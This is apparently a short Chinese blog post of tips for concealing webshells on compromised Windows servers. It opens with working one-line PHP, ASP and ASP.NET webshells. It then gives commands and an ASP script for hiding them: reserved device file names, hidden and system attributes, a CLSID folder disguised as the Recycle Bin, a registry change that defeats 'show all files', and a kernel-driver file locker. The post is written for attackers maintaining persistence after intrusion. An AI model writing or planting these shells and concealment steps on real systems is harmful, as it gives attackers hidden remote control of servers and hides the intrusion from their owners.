隐藏webshell的一些tips

常用一句话: PHP: <?php @eval($_POST['chopper']);?>
ASP: <%eval request("chopper")%>
ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
通常我们拿下shell之后第一步应该是尽量隐藏自己的shell,然后进行其他操作。
下面记录一些隐藏shell的tips:

1.利用系统保留关键字

Windows不允许用以下关键进行命名 aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt 但是通过copy命令却可以建立包含关键字的文件 Copy命令: copy 1.asp \\.\C:\wwwroot\aux.asp Del命令: del \\.\C:\wwwroot\aux.asp

2.NTFS修改文件权限

ASP代码修改: <%
  'Normal   0   普通文件。没有设置任何属性。    
  'ReadOnly   1   只读文件。可读写。    
  'Hidden   2   隐藏文件。可读写。    
  'System   4   系统文件。可读写。    
  'Volume   8   磁盘驱动器卷标。只读。    
  'Directory   16   文件夹或目录。只读。    
  'Archive   32   上次备份后已更改的文件。可读写。    
  'Alias   64   链接或快捷方式。只读。   

Dim fso,f 
 
Set   fso =  CreateObject("Scripting.FileSystemObject")  
Set   f   =  fso.GetFile("D:\WebSite\1.asp")
 
if  f.attributes <> 1 then
    f.attributes = 1
end if

%>
命令修改: attrib +h +s +r +d/s /d

3.clsid隐藏

Windows里内置一些程序ID,利用这一特性可以将文件夹伪装成回收站 新建一个文件夹名字为: name.{645FF040-5081-101B-9F08-00AA002F954E} 此文件夹图标变成回收站并且双击也是进入回收站,可以配合其他技巧达到隐藏效果

4.修改注册表

Windows中有一个显示所有文件和文件夹的设置,修改如下位置的注册表键值为0,即使设置了显示所有也不会显示所有,达到隐藏效果 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL

5.内核驱动隐藏

在windows文件系统中,打开文件夹的时候系统会发送一个IRP_MJ_DIRECTORY_CONTROL函数 Easy File Locker建立驱动钩子来替代系统内核文件夹打开的操作,需要安装到服务器并且设置文件不可写、不可见、不可删 之后可以脱离程序本身,但是需要保留以下文件不可删除: c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

发表评论